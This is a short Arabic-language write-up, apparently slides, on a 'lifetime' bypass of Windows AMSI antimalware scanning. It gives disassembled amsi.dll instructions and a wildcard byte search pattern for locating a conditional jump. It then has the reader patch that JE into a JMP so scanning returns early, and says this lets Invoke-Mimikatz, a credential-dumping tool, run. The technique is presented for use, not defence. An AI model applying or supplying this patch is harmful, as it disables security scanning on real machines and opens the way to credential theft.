تجاوز AMSI مدى الحياة

فحص الأوبكود (Opcode Scan)

• نحصل على العنوان الدقيق لتعليمة القفز من خلال البحث عن أول بايت من كل تعليمة. هذه التقنية فعّالة حتى في مواجهة التحديثات أو التعديلات على مجموعة البيانات المستهدفة.

• على سبيل المثال :

  | 48:85D2 | test rdx, rdx |

  | 74 3F | je amsi.7FFAE957C694 |

  | 48 : 85C9 | test rcx, rcx |

  | 74 3A | je amsi.7FFAE957C694 |

  | 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |

  | 74 33 | je amsi.7FFAE957C694 |

• سيكون نمط البحث كالتالي :

  { 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

  

التصحيح (Patch)

قبل التصحيح

• يختبر البرنامج قيمة RDX مع نفسه. إذا كانت نتيجة المقارنة 0، ينفذ البرنامج قفزة للعودة. بخلاف ذلك، يتابع البرنامج لتقييم التعليمة التالية.

  

• لا يمكننا تنفيذ "Invoke-Mimikatz"

  

بعد التصحيح

• نقوم بتصحيح أول بايت وتغييره من JE إلى JMP ليعود مباشرة.

  

  

• الآن ننفذ "Invoke-Mimikatz"